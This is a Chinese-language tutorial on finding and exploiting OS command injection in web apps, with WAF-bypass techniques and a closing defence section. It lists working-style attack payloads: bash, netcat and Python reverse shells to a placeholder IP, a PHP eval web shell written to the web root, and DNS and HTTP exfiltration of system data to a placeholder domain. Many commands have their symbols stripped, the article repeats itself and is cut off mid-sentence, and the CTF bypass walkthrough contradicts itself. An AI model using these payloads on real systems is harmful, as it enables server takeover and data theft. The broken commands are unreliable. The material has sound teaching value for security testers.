1. 项目概述从“一句话”到“一场攻防”“命令执行漏洞”这六个字在安全从业者眼里分量极重。它不像SQL注入那样有各种成熟的自动化工具可以“一键扫描”也不像XSS那样有明确的弹窗作为成功标志。命令执行漏洞的挖掘与利用更像是一场与目标系统底层逻辑的直接对话考验的是测试者对操作系统、编程语言、网络协议乃至WAFWeb应用防火墙规则的深刻理解。简单来说它允许攻击者通过Web应用接口将恶意系统命令注入并让服务器执行从而直接获取服务器控制权危害等级通常是“致命”的。为什么我们今天还要深入讨论这个“古老”的漏洞因为它的形态在进化。在云原生、微服务架构和各类DevOps工具链普及的今天命令执行的触发点变得更加分散——可能是一个不安全的API参数一个容器构建指令一个CI/CD流水线中的脚本甚至是一个管理后台的日志查看功能。同时防御手段也在升级从简单的输入过滤到复杂的语义分析WAF传统的“cat /etc/passwd”早已寸步难行。因此理解其核心原理掌握与时俱进的测试方法论并熟知各种环境下的绕过技巧成为了安全测试人员、开发工程师乃至运维人员的必备技能。本文将从实战视角出发为你拆解这条攻击链路上的每一个环节。2. 命令执行漏洞核心原理深度拆解要理解如何测试和绕过必须首先吃透漏洞产生的根源。命令执行漏洞的本质是程序将用户可控的数据未经充分验证或净化直接拼接到了系统命令的上下文中并交给了命令解释器如Linux的bash/sh或Windows的cmd/powershell执行。2.1 漏洞产生的典型代码模式几乎所有漏洞都源于几种危险的代码模式。以最常见的PHP为例1. 直接拼接用户输入?php $target $_GET[ip]; system(ping -c 4 . $target); // 高危用户可控的$target被直接拼接 ?在这段代码中开发者本意是让用户输入一个IP地址进行ping测试。但如果用户输入的是127.0.0.1; whoami那么实际执行的命令就变成了ping -c 4 127.0.0.1; whoami。分号;在Linux中用于分隔命令因此whoami会被作为一条独立的命令执行。2. 使用危险的函数不同编程语言都有其高危函数。PHP:system(),exec(),shell_exec(),passthru(),popen(), 反引号 。Python:os.system(),os.popen(),subprocess.call()当shellTrue时eval()可间接构造命令。Java:Runtime.getRuntime().exec(),ProcessBuilder。Node.js:child_process.exec(),child_process.execSync()。3. 间接命令注入点漏洞点有时并不直接。例如一个文件上传功能允许用户指定文件名。如果后端代码使用tar -zxf /tmp/{user_input}.tar.gz来解压那么用户输入filename.tar.gz; id; #最终命令可能变成tar -zxf /tmp/filename.tar.gz; id; #.tar.gz。#在shell中是注释符其后的内容被忽略从而成功注入id命令。2.2 命令解释器Shell的关键角色理解漏洞必须理解Shell是如何解析命令的。Shell不仅仅执行一个命令字符串它还会进行一系列解释工作如变量替换、通配符扩展、命令替换、管道和重定向处理。正是这些特性为绕过过滤提供了可能。命令分隔符这是最基础的注入方式。;: 顺序执行前一条执行完无论成功与否执行后一条。: 后台执行前一条在后台执行立即返回执行下一条。: 逻辑与前一条成功返回0才执行后一条。||: 逻辑或前一条失败返回非0才执行后一条。|: 管道将前一条命令的输出作为后一条命令的输入。\n(换行符): 在多数Shell中同样起到命令分隔的作用。命令替换允许将一个命令的输出嵌入到另一个命令中。反引号 :ls echo /etc会先执行 echo /etc 得到 /etc再执行 ls /etc。$(): 更现代的形式ls $(echo /etc)效果相同。这在绕过对空格、特定字符的过滤时非常有用。变量和通配符如*,?,[a-z]用于文件名匹配${PATH}用于变量引用。在WAF可能拦截已知命令字符串时这些可以用来构造非常规的命令路径或参数。3. 系统化的命令执行漏洞测试方法论测试命令执行漏洞不能靠“乱试”需要一个清晰的流程和思维模型。以下是我在渗透测试项目中常用的四步法。3.1 第一步信息收集与攻击面测绘在开始注入尝试前必须尽可能多地收集信息。识别功能点哪些功能可能调用系统命令网络工具ping, traceroute, nslookup、文件操作压缩/解压、文件查看、目录列表、系统管理进程查看、服务重启、数据导入导出等。判断后端语言通过报错信息、Cookie名称如PHPSESSID、URL特征.php, .jsp、HTTP响应头X-Powered-By来判断。不同语言的过滤函数和上下文差异巨大。探测操作系统通过TTL值、报错信息如“找不到程序”的提示是Windows风格还是Linux风格来判断。这决定了你后续使用的命令和路径分隔符/vs\。理解输入点上下文参数是被直接执行还是作为某个命令的参数例如输入点可能出现在curl {user_input}、find / -name {user-input}或echo {user-input} file等不同上下文中每种上下文的绕过方式不同。3.2 第二步基础验证与分隔符测试这是验证漏洞是否存在的第一步使用无害的命令。延迟测试Time-based Blind这是最安全、最隐蔽的初步验证方法。Linux:注入sleep 5。如果页面响应延迟了大约5秒说明命令可能被执行。Windows:注入timeout /t 5 /nobreak或ping -n 5 127.0.0.1。注意要使用合适的命令分隔符如 sleep 5 或| sleep 5 |。DNS/HTTP外带测试OOB如果目标服务器能出网这是更可靠的证明。尝试让目标服务器访问一个你控制的域名或URL。Linux:curl http://your-domain.com/$(whoami)或ping -c 1 $(whoami).your-domain.com。Windows:nslookup $(whoami).your-domain.com如果whoami输出有空格可能失败可先尝试稳定的命令如hostname。基础分隔符测试依次尝试;、、、|、||以及换行符URL编码为%0a或%0d%0a后面跟上echo test123这类无害命令观察响应中是否出现test123或行为是否符合预期。3.3 第三步上下文分析与命令构造确认存在注入点后需要精确判断我们注入的字符串所处的“位置”。情景A整个参数被直接执行。如system($_GET[cmd])。这是最理想的情况你可以直接输入任何命令。情景B参数被拼接在某个固定命令之后。如system(ping . $_GET[ip])。你需要用分隔符来结束前面的命令开始你自己的命令。情景C参数被包裹在引号中。如system(nslookup . $_GET[host] . )。你需要先闭合前面的引号然后注入命令再注释掉后面的引号。例如输入 whoami #最终命令变为nslookup whoami #。情景D参数作为命令的参数且过滤严格。这时需要利用命令替换、变量拼接等技巧。例如如果过滤了空格可以用${IFS}Linux内部字段分隔符默认是空格、$IFS$9$9是一个通常为空的参数用于绕过对${IFS}的过滤、、、{cat,/etc/passwd}某些命令如cat支持这种参数格式来替代。3.4 第四步交互式Shell获取与权限提升证明漏洞存在后下一步是获取一个稳定的、交互式的访问通道。反向ShellReverse Shell最常用的方式。让目标服务器主动连接你的监听服务器。监听端攻击机nc -lvnp 4444目标端注入点Bash:bash -i /dev/tcp/your_ip/4444 01Netcat如果存在nc your_ip 4444 -e /bin/bashPython通用性高python -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((your_ip,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([/bin/sh,-i]);注意事项务必对命令进行URL编码特别是、、等特殊字符。同时确保你的监听IP和端口可从目标网络访问。文件上传与Web Shell如果无法建立反向连接如防火墙策略严格可以尝试写入一个Web Shell。利用echo命令将PHP一句话木马写入Web目录echo ?php eval($_POST[cmd]);? /var/www/html/shell.php如果存在字符过滤可以分块写入或使用base64解码echo PD9waHAgQGV2YWwoJF9QT1NUWyJjbWQiXSk7Pz4 | base64 -d shell.php权限提升提权获取的Shell可能是低权限用户如www-data。需要收集系统信息寻找内核漏洞、SUID文件错误配置、数据库凭据、敏感配置文件等进行提权。这属于另一个广阔领域此处不展开。4. 现代WAF与过滤机制的绕过技巧实录如今裸奔的命令注入点几乎不存在总会遇到各种过滤。绕过是实战中最具挑战也最体现功力的部分。以下技巧需要根据实际情况组合使用。4.1 基于特殊字符与编码的绕过这是最基础的绕过层针对简单的黑名单字符串匹配。命令分隔符替换除了;|尝试%0a(换行)、%0d(回车)、%3b(;的URL编码)。在Linux中%0a作为换行符在大多数上下文中都有效且常被初级WAF规则遗漏。空格绕过Linux:${IFS},$IFS$9,,,{cat,/etc/passwd}。Windows:%PROGRAMFILES:~10,-4%这种变量截取会产生空格但更常用、,或Tab键的URL编码%09。示例cat${IFS}/etc/passwd或cat/etc/passwd。命令关键字绕过黑名单大小写混淆WhOaMi,WHOAMIWindows命令不区分大小写Linux区分但有时WAF规则可能只匹配小写。双写绕过如果过滤是简单的删除caccatt删除cat后可能变成cat。插入特殊字符在命令中插入在Shell中会被忽略的字符如反斜杠\、单引号、双引号。例如whoami或whoamiShell在解释时会将这些引号配对移除最终执行whoami。w\ho\am\i同样有效因为反斜杠转义了其后的字符但两个反斜杠之间的字符被当作普通字符连接。利用变量拼接awho;bami;$a$b # 或者更隐蔽的 xwh;yoami;$x$y利用通配符在Linux中/???/??t /???/??ss??可能匹配到/bin/cat /etc/passwd。问号?匹配单个字符星号*匹配任意多个字符。这在命令路径和参数被过滤时可能有效。利用环境变量echo $PATH可以看到系统路径。有时可以通过$()或 进行命令替换如$(echo Y2F0IC9ldGMvcGFzc3dk | base64 -d)会解码并执行cat /etc/passwd。4.2 基于上下文与协议特性的绕过这类绕过利用了应用程序处理输入时的逻辑特性。未初始化变量绕过PHP特性这是从你提供的资料中看到的一个非常经典的技巧。在PHP中如果使用shell_exec($_GET[a] . $_GET[b])这样的代码并且WAF只对单个参数如a进行了过滤。攻击者可以只传递参数b而不传递a。此时$_GET[a]是一个未初始化的变量在字符串拼接中会被当作空字符串处理从而绕过对a参数的检查直接将b参数的内容传入命令。实战示例假设漏洞代码为system($_GET[cmd1] . $_GET[cmd2]);WAF规则是如果cmd1包含cat则拦截。那么攻击者可以构造请求?cmd2cat /etc/passwd。此时cmd1未定义拼接后命令为cat /etc/passwd成功绕过。参数污染HPP发送多个同名参数如?cmd127.0.0.1cmd|whoami。不同的后端语言和Web服务器解析同名参数的逻辑不同可能取第一个、最后一个或拼接成一个数组。如果WAF检查第一个值而应用取最后一个值执行则形成绕过。数据格式与编码混淆多重编码如果应用层做了解码而WAF只检查一层编码。例如输入%2563%2561%2574%63%61%74的URL编码WAF看到的是%63%61%74可能不匹配cat。但应用解码两次后得到cat。十六进制/八进制编码在Bash中可以使用$\x63\x61\x74来表示cat或者echo -e \x63\x61\x74。Unicode/UTF-8编码在某些解析环节可能被正常化。4.3 基于时间盲注与OOB外带的绕过当所有回显和错误信息都被屏蔽即“无回显命令执行”时盲注和外带是唯一手段。时间盲注Time-based Blind Command Injection通过命令执行的时间差来判断是否成功。这需要构造条件判断命令。基础判断sleep 5无条件延迟。带条件判断这需要结合其他命令。例如判断/etc/passwd文件是否存在if [ -f /etc/passwd ]; then sleep 5; fi。如果服务器延迟了5秒说明文件存在。逐字符提取数据这是一个繁琐但有效的过程。例如提取whoami命令结果的第一个字符# 假设我们猜测结果是 root if [ $(whoami | cut -c1) r ]; then sleep 5; fi # 如果延迟说明第一个字符是 r # 然后继续猜测第二个字符以此类推这个过程可以编写脚本自动化进行但速度很慢且网络波动可能造成误判。OOB外带数据Out-of-Band利用DNS、HTTP、ICMP等协议将数据带出到攻击者控制的服务器。这是目前更高效、更可靠的方式。DNS外带这是最常用的方式因为DNS请求通常不受严格管控。Linux:dig $(whoami).your-domain.com或nslookup $(whoami).your-domain.com。在你的DNS服务器日志中可以看到查询记录root.your-domain.com。逐字符外带为了外带更复杂的数据如文件内容需要编码并分块。例如外带/etc/passwd的第一行第一个字符的ASCII码export C$(head -c1 /etc/passwd | xxd -p); dig $C.your-domain.com。HTTP外带使用curl或wget将数据作为URL参数或请求头发送到你的Web服务器。curl http://your-server.com/$(whoami)wget --headerX-Data: $(id) http://your-server.com/工具化使用DNSlog.cn、Burp Collaborator或自建类似服务可以方便地接收和查看外带数据。注意所有绕过技巧的使用都必须遵守法律法规和授权范围。在未经授权的系统上进行测试是非法行为。这些技巧旨在帮助安全人员更好地理解漏洞原理从而构建更坚固的防御体系。5. 实战案例一个多层过滤的绕过过程假设我们遇到一个PHP应用有一个“网络诊断”功能参数是host后端代码逻辑如下?php $host $_POST[host]; // 第一层过滤删除空格、分号、管道符、与符号 $host str_replace(array( , ;, |, ), , $host); // 第二层过滤黑名单如果包含 cat, flag, etc 等词则直接退出 if (preg_match(/(cat|flag|etc|passwd|bash|sh)/i, $host)) { die(非法输入); } // 执行命令 system(ping -c 2 . $host); ?我们的目标是读取/flag文件。绕过思路与步骤分析过滤去除了空格和常见分隔符黑名单了关键命令和路径。但未过滤其他空白字符如${IFS}、未过滤反斜杠、单引号、$()替换等。绕过空格过滤使用${IFS}替代空格。尝试注入127.0.0.1${IFS}。绕过分隔符过滤;|被删除但换行符\nURL编码为%0a可能有效。尝试127.0.0.1%0a。绕过命令黑名单不能直接使用cat。我们可以尝试使用其他命令tac反向输出、more、less、head、tail、nl显示行号、od八进制输出、xxd十六进制输出。尝试127.0.0.1%0ahead${IFS}/flag。使用变量拼接ac;bat; $a$b /flag。但这里空格被过滤了需要结合${IFS}127.0.0.1%0aac;bat;${IFS}$a$b${IFS}/flag。注意这里分号被过滤了所以此路不通。我们需要用其他方式执行多条命令。利用命令替换和编码这是更可行的路径。我们可以将命令编码然后解码执行。例如将cat /flag进行base64编码得到Y2F0IC9mbGFnCg。然后构造127.0.0.1%0aecho${IFS}Y2F0IC9mbGFnCg|base64${IFS}-d|sh。echo${IFS}Y2F0IC9mbGFnCg输出编码后的字符串。|base64${IFS}-d通过管道传给base64命令解码。|sh再通过管道传给shell执行。但是sh可能在黑名单我们可以用bash或者更通用的.source命令或反引号。最终Payload可以优化为host127.0.0.1%0aecho${IFS}Y2F0IC9mbGFnCg|base64${IFS}-d这里反引号会执行其内部命令的输出。我们发送这个Payload第一层过滤会删除%0a吗不会因为str_replace只删除了字面上的空格、;、|、%0a是URL编码PHP在$_POST中会自动解码为换行符然后str_replace处理的是换行符字符不在删除列表里所以保留。黑名单正则匹配的是$host变量我们的cat命令是base64编码后的Y2F0...不包含cat字面字符所以绕过。最终Payload与执行将上述Payload作为host参数以POST形式提交。后端处理流程收到host127.0.0.1%0aecho${IFS}Y2F0IC9mbGFnCg|base64${IFS}-d。PHP解码%0a为换行符得到127.0.0.1\necho${IFS}Y2F0IC9mbGFnCg|base64${IFS}-d。str_replace删除空格、;、|、。这里没有这些字符的直接出现${IFS}不是空格字符是变量|在反引号内部可能不会被处理这取决于str_replace是在反引号展开前还是展开后执行。实际上str_replace先执行它看到的字符串中的|会被删除。所以我们需要避免使用会被删除的字符。修正Payload使用$()代替反引号并且避免管道符|。使用$()和不用管道符的方案127.0.0.1%0a$(echo${IFS}Y2F0IC9mbGFnCg|base64${IFS}-d)。这里还是有|。我们可以把整个命令放在$()里但需要另一个命令来执行解码后的结果。可以用eval127.0.0.1%0aeval$(echo${IFS}Y2F0IC9mbGFnCg|base64${IFS}-d)。但eval可能也被过滤。更稳妥的方案利用Bash的内置功能。$(command)会执行命令。我们可以用bash -c来执行解码后的字符串127.0.0.1%0abash${IFS}-c${IFS}$(echo${IFS}Y2F0IC9mbGFnCg|base64${IFS}-d)。但这里双引号和管道符还是有问题。最终一个能绕过这个特定过滤的可行Payload可能需要多次尝试和变形。例如发现它只过滤了一次我们可以用双写绕过|||被删除一个|后还剩一个。或者完全避免使用被过滤的字符127.0.0.1%0aX$Y2F0IC9mbGFnCg%0abash${IFS}-c${IFS}\$(echo${IFS}\$X|base64${IFS}-d)这里用了$...的bash字符串格式并用反斜杠转义了$和空格变量使其在第一次字符串处理时不被解释。这需要你对shell解析顺序有深刻理解。这个案例展示了绕过是一个迭代和思考的过程需要根据实际的过滤逻辑灵活组合各种技巧。没有一成不变的Payload。6. 防御方案从开发到运维的纵深防御理解了攻击才能更好地防御。防御命令执行漏洞需要多层次、纵深的方法。1. 开发阶段治本之策避免使用危险函数是最根本的方法。寻找不需要调用Shell命令的替代方案。例如用PHP的file_get_contents()代替cat用scandir()代替ls。使用安全的API如果必须执行命令使用那些允许参数列表而非字符串拼接的函数。Python:使用subprocess.run([‘ls’, ‘-l’, ‘/home’])而非subprocess.run(‘ls -l /home’, shellTrue)。Java:使用ProcessBuilder并传入参数列表。PHP:使用escapeshellarg()或escapeshellcmd()对参数进行转义但要注意它们并非银弹在复杂情况下可能被绕过。更好的做法是使用proc_open()并仔细控制参数。白名单验证对用户输入进行严格的白名单验证。例如对于ping功能的IP参数只允许数字和点还需要验证IP格式的有效性。对于文件名只允许字母、数字、下划线和点。最小权限原则运行Web服务的进程如www-data, nobody应该使用尽可能低的系统权限避免其拥有执行高危命令或写入关键目录的能力。2. 部署与运维阶段WAFWeb应用防火墙部署WAF可以拦截大量已知的攻击Payload和模糊测试请求。但需知WAF是缓解措施而非根本解决方案且可能被绕过。系统强化禁用危险函数在PHP配置php.ini中通过disable_functions禁用system,exec,shell_exec,passthru,popen,proc_open等函数。使用受限制的Shell如果应用必须执行某些命令可以配置一个受限制的Shellrbash或使用工具如sudo配置仅允许运行特定的、无害的命令。容器化与沙箱将应用运行在容器或沙箱环境中限制其能访问的系统资源和命令。日志与监控启用详细的命令执行日志并设置实时告警。监控进程树查看是否有非常规的Web子进程如bash, sh, nc被启动。3. 安全测试SAST静态应用安全测试在代码层面扫描危险函数的使用。DAST动态应用安全测试与IAST交互式应用安全测试对运行中的应用进行黑盒或灰盒测试模拟攻击者行为发现命令注入等漏洞。定期渗透测试由专业安全人员模拟真实攻击检验整体防御体系的有效性。命令执行漏洞的攻防是一场永不停歇的博弈。作为开发者应坚守安全编码原则从源头杜绝漏洞作为安全人员需不断钻研新的绕过技巧以攻促防。希望这篇超过五千字的解析能为你建立起关于命令执行漏洞从原理到实战的完整知识框架。记住所有技术都应在法律和道德的框架内使用我们的共同目标是让网络空间更加安全。
1. 项目概述从“一句话”到“一场攻防”“命令执行漏洞”这六个字在安全从业者眼里分量极重。它不像SQL注入那样有各种成熟的自动化工具可以“一键扫描”也不像XSS那样有明确的弹窗作为成功标志。命令执行漏洞的挖掘与利用更像是一场与目标系统底层逻辑的直接对话考验的是测试者对操作系统、编程语言、网络协议乃至WAFWeb应用防火墙规则的深刻理解。简单来说它允许攻击者通过Web应用接口将恶意系统命令注入并让服务器执行从而直接获取服务器控制权危害等级通常是“致命”的。为什么我们今天还要深入讨论这个“古老”的漏洞因为它的形态在进化。在云原生、微服务架构和各类DevOps工具链普及的今天命令执行的触发点变得更加分散——可能是一个不安全的API参数一个容器构建指令一个CI/CD流水线中的脚本甚至是一个管理后台的日志查看功能。同时防御手段也在升级从简单的输入过滤到复杂的语义分析WAF传统的“cat /etc/passwd”早已寸步难行。因此理解其核心原理掌握与时俱进的测试方法论并熟知各种环境下的绕过技巧成为了安全测试人员、开发工程师乃至运维人员的必备技能。本文将从实战视角出发为你拆解这条攻击链路上的每一个环节。2. 命令执行漏洞核心原理深度拆解要理解如何测试和绕过必须首先吃透漏洞产生的根源。命令执行漏洞的本质是程序将用户可控的数据未经充分验证或净化直接拼接到了系统命令的上下文中并交给了命令解释器如Linux的bash/sh或Windows的cmd/powershell执行。2.1 漏洞产生的典型代码模式几乎所有漏洞都源于几种危险的代码模式。以最常见的PHP为例1. 直接拼接用户输入?php $target $_GET[ip]; system(ping -c 4 . $target); // 高危用户可控的$target被直接拼接 ?在这段代码中开发者本意是让用户输入一个IP地址进行ping测试。但如果用户输入的是127.0.0.1; whoami那么实际执行的命令就变成了ping -c 4 127.0.0.1; whoami。分号;在Linux中用于分隔命令因此whoami会被作为一条独立的命令执行。2. 使用危险的函数不同编程语言都有其高危函数。PHP:system(),exec(),shell_exec(),passthru(),popen(), 反引号 。Python:os.system(),os.popen(),subprocess.call()当shellTrue时eval()可间接构造命令。Java:Runtime.getRuntime().exec(),ProcessBuilder。Node.js:child_process.exec(),child_process.execSync()。3. 间接命令注入点漏洞点有时并不直接。例如一个文件上传功能允许用户指定文件名。如果后端代码使用tar -zxf /tmp/{user_input}.tar.gz来解压那么用户输入filename.tar.gz; id; #最终命令可能变成tar -zxf /tmp/filename.tar.gz; id; #.tar.gz。#在shell中是注释符其后的内容被忽略从而成功注入id命令。2.2 命令解释器Shell的关键角色理解漏洞必须理解Shell是如何解析命令的。Shell不仅仅执行一个命令字符串它还会进行一系列解释工作如变量替换、通配符扩展、命令替换、管道和重定向处理。正是这些特性为绕过过滤提供了可能。命令分隔符这是最基础的注入方式。;: 顺序执行前一条执行完无论成功与否执行后一条。: 后台执行前一条在后台执行立即返回执行下一条。: 逻辑与前一条成功返回0才执行后一条。||: 逻辑或前一条失败返回非0才执行后一条。|: 管道将前一条命令的输出作为后一条命令的输入。\n(换行符): 在多数Shell中同样起到命令分隔的作用。命令替换允许将一个命令的输出嵌入到另一个命令中。反引号 :ls echo /etc会先执行 echo /etc 得到 /etc再执行 ls /etc。$(): 更现代的形式ls $(echo /etc)效果相同。这在绕过对空格、特定字符的过滤时非常有用。变量和通配符如*,?,[a-z]用于文件名匹配${PATH}用于变量引用。在WAF可能拦截已知命令字符串时这些可以用来构造非常规的命令路径或参数。3. 系统化的命令执行漏洞测试方法论测试命令执行漏洞不能靠“乱试”需要一个清晰的流程和思维模型。以下是我在渗透测试项目中常用的四步法。3.1 第一步信息收集与攻击面测绘在开始注入尝试前必须尽可能多地收集信息。识别功能点哪些功能可能调用系统命令网络工具ping, traceroute, nslookup、文件操作压缩/解压、文件查看、目录列表、系统管理进程查看、服务重启、数据导入导出等。判断后端语言通过报错信息、Cookie名称如PHPSESSID、URL特征.php, .jsp、HTTP响应头X-Powered-By来判断。不同语言的过滤函数和上下文差异巨大。探测操作系统通过TTL值、报错信息如“找不到程序”的提示是Windows风格还是Linux风格来判断。这决定了你后续使用的命令和路径分隔符/vs\。理解输入点上下文参数是被直接执行还是作为某个命令的参数例如输入点可能出现在curl {user_input}、find / -name {user-input}或echo {user-input} file等不同上下文中每种上下文的绕过方式不同。3.2 第二步基础验证与分隔符测试这是验证漏洞是否存在的第一步使用无害的命令。延迟测试Time-based Blind这是最安全、最隐蔽的初步验证方法。Linux:注入sleep 5。如果页面响应延迟了大约5秒说明命令可能被执行。Windows:注入timeout /t 5 /nobreak或ping -n 5 127.0.0.1。注意要使用合适的命令分隔符如 sleep 5 或| sleep 5 |。DNS/HTTP外带测试OOB如果目标服务器能出网这是更可靠的证明。尝试让目标服务器访问一个你控制的域名或URL。Linux:curl http://your-domain.com/$(whoami)或ping -c 1 $(whoami).your-domain.com。Windows:nslookup $(whoami).your-domain.com如果whoami输出有空格可能失败可先尝试稳定的命令如hostname。基础分隔符测试依次尝试;、、、|、||以及换行符URL编码为%0a或%0d%0a后面跟上echo test123这类无害命令观察响应中是否出现test123或行为是否符合预期。3.3 第三步上下文分析与命令构造确认存在注入点后需要精确判断我们注入的字符串所处的“位置”。情景A整个参数被直接执行。如system($_GET[cmd])。这是最理想的情况你可以直接输入任何命令。情景B参数被拼接在某个固定命令之后。如system(ping . $_GET[ip])。你需要用分隔符来结束前面的命令开始你自己的命令。情景C参数被包裹在引号中。如system(nslookup . $_GET[host] . )。你需要先闭合前面的引号然后注入命令再注释掉后面的引号。例如输入 whoami #最终命令变为nslookup whoami #。情景D参数作为命令的参数且过滤严格。这时需要利用命令替换、变量拼接等技巧。例如如果过滤了空格可以用${IFS}Linux内部字段分隔符默认是空格、$IFS$9$9是一个通常为空的参数用于绕过对${IFS}的过滤、、、{cat,/etc/passwd}某些命令如cat支持这种参数格式来替代。3.4 第四步交互式Shell获取与权限提升证明漏洞存在后下一步是获取一个稳定的、交互式的访问通道。反向ShellReverse Shell最常用的方式。让目标服务器主动连接你的监听服务器。监听端攻击机nc -lvnp 4444目标端注入点Bash:bash -i /dev/tcp/your_ip/4444 01Netcat如果存在nc your_ip 4444 -e /bin/bashPython通用性高python -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((your_ip,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([/bin/sh,-i]);注意事项务必对命令进行URL编码特别是、、等特殊字符。同时确保你的监听IP和端口可从目标网络访问。文件上传与Web Shell如果无法建立反向连接如防火墙策略严格可以尝试写入一个Web Shell。利用echo命令将PHP一句话木马写入Web目录echo ?php eval($_POST[cmd]);? /var/www/html/shell.php如果存在字符过滤可以分块写入或使用base64解码echo PD9waHAgQGV2YWwoJF9QT1NUWyJjbWQiXSk7Pz4 | base64 -d shell.php权限提升提权获取的Shell可能是低权限用户如www-data。需要收集系统信息寻找内核漏洞、SUID文件错误配置、数据库凭据、敏感配置文件等进行提权。这属于另一个广阔领域此处不展开。4. 现代WAF与过滤机制的绕过技巧实录如今裸奔的命令注入点几乎不存在总会遇到各种过滤。绕过是实战中最具挑战也最体现功力的部分。以下技巧需要根据实际情况组合使用。4.1 基于特殊字符与编码的绕过这是最基础的绕过层针对简单的黑名单字符串匹配。命令分隔符替换除了;|尝试%0a(换行)、%0d(回车)、%3b(;的URL编码)。在Linux中%0a作为换行符在大多数上下文中都有效且常被初级WAF规则遗漏。空格绕过Linux:${IFS},$IFS$9,,,{cat,/etc/passwd}。Windows:%PROGRAMFILES:~10,-4%这种变量截取会产生空格但更常用、,或Tab键的URL编码%09。示例cat${IFS}/etc/passwd或cat/etc/passwd。命令关键字绕过黑名单大小写混淆WhOaMi,WHOAMIWindows命令不区分大小写Linux区分但有时WAF规则可能只匹配小写。双写绕过如果过滤是简单的删除caccatt删除cat后可能变成cat。插入特殊字符在命令中插入在Shell中会被忽略的字符如反斜杠\、单引号、双引号。例如whoami或whoamiShell在解释时会将这些引号配对移除最终执行whoami。w\ho\am\i同样有效因为反斜杠转义了其后的字符但两个反斜杠之间的字符被当作普通字符连接。利用变量拼接awho;bami;$a$b # 或者更隐蔽的 xwh;yoami;$x$y利用通配符在Linux中/???/??t /???/??ss??可能匹配到/bin/cat /etc/passwd。问号?匹配单个字符星号*匹配任意多个字符。这在命令路径和参数被过滤时可能有效。利用环境变量echo $PATH可以看到系统路径。有时可以通过$()或 进行命令替换如$(echo Y2F0IC9ldGMvcGFzc3dk | base64 -d)会解码并执行cat /etc/passwd。4.2 基于上下文与协议特性的绕过这类绕过利用了应用程序处理输入时的逻辑特性。未初始化变量绕过PHP特性这是从你提供的资料中看到的一个非常经典的技巧。在PHP中如果使用shell_exec($_GET[a] . $_GET[b])这样的代码并且WAF只对单个参数如a进行了过滤。攻击者可以只传递参数b而不传递a。此时$_GET[a]是一个未初始化的变量在字符串拼接中会被当作空字符串处理从而绕过对a参数的检查直接将b参数的内容传入命令。实战示例假设漏洞代码为system($_GET[cmd1] . $_GET[cmd2]);WAF规则是如果cmd1包含cat则拦截。那么攻击者可以构造请求?cmd2cat /etc/passwd。此时cmd1未定义拼接后命令为cat /etc/passwd成功绕过。参数污染HPP发送多个同名参数如?cmd127.0.0.1cmd|whoami。不同的后端语言和Web服务器解析同名参数的逻辑不同可能取第一个、最后一个或拼接成一个数组。如果WAF检查第一个值而应用取最后一个值执行则形成绕过。数据格式与编码混淆多重编码如果应用层做了解码而WAF只检查一层编码。例如输入%2563%2561%2574%63%61%74的URL编码WAF看到的是%63%61%74可能不匹配cat。但应用解码两次后得到cat。十六进制/八进制编码在Bash中可以使用$\x63\x61\x74来表示cat或者echo -e \x63\x61\x74。Unicode/UTF-8编码在某些解析环节可能被正常化。4.3 基于时间盲注与OOB外带的绕过当所有回显和错误信息都被屏蔽即“无回显命令执行”时盲注和外带是唯一手段。时间盲注Time-based Blind Command Injection通过命令执行的时间差来判断是否成功。这需要构造条件判断命令。基础判断sleep 5无条件延迟。带条件判断这需要结合其他命令。例如判断/etc/passwd文件是否存在if [ -f /etc/passwd ]; then sleep 5; fi。如果服务器延迟了5秒说明文件存在。逐字符提取数据这是一个繁琐但有效的过程。例如提取whoami命令结果的第一个字符# 假设我们猜测结果是 root if [ $(whoami | cut -c1) r ]; then sleep 5; fi # 如果延迟说明第一个字符是 r # 然后继续猜测第二个字符以此类推这个过程可以编写脚本自动化进行但速度很慢且网络波动可能造成误判。OOB外带数据Out-of-Band利用DNS、HTTP、ICMP等协议将数据带出到攻击者控制的服务器。这是目前更高效、更可靠的方式。DNS外带这是最常用的方式因为DNS请求通常不受严格管控。Linux:dig $(whoami).your-domain.com或nslookup $(whoami).your-domain.com。在你的DNS服务器日志中可以看到查询记录root.your-domain.com。逐字符外带为了外带更复杂的数据如文件内容需要编码并分块。例如外带/etc/passwd的第一行第一个字符的ASCII码export C$(head -c1 /etc/passwd | xxd -p); dig $C.your-domain.com。HTTP外带使用curl或wget将数据作为URL参数或请求头发送到你的Web服务器。curl http://your-server.com/$(whoami)wget --headerX-Data: $(id) http://your-server.com/工具化使用DNSlog.cn、Burp Collaborator或自建类似服务可以方便地接收和查看外带数据。注意所有绕过技巧的使用都必须遵守法律法规和授权范围。在未经授权的系统上进行测试是非法行为。这些技巧旨在帮助安全人员更好地理解漏洞原理从而构建更坚固的防御体系。5. 实战案例一个多层过滤的绕过过程假设我们遇到一个PHP应用有一个“网络诊断”功能参数是host后端代码逻辑如下?php $host $_POST[host]; // 第一层过滤删除空格、分号、管道符、与符号 $host str_replace(array( , ;, |, ), , $host); // 第二层过滤黑名单如果包含 cat, flag, etc 等词则直接退出 if (preg_match(/(cat|flag|etc|passwd|bash|sh)/i, $host)) { die(非法输入); } // 执行命令 system(ping -c 2 . $host); ?我们的目标是读取/flag文件。绕过思路与步骤分析过滤去除了空格和常见分隔符黑名单了关键命令和路径。但未过滤其他空白字符如${IFS}、未过滤反斜杠、单引号、$()替换等。绕过空格过滤使用${IFS}替代空格。尝试注入127.0.0.1${IFS}。绕过分隔符过滤;|被删除但换行符\nURL编码为%0a可能有效。尝试127.0.0.1%0a。绕过命令黑名单不能直接使用cat。我们可以尝试使用其他命令tac反向输出、more、less、head、tail、nl显示行号、od八进制输出、xxd十六进制输出。尝试127.0.0.1%0ahead${IFS}/flag。使用变量拼接ac;bat; $a$b /flag。但这里空格被过滤了需要结合${IFS}127.0.0.1%0aac;bat;${IFS}$a$b${IFS}/flag。注意这里分号被过滤了所以此路不通。我们需要用其他方式执行多条命令。利用命令替换和编码这是更可行的路径。我们可以将命令编码然后解码执行。例如将cat 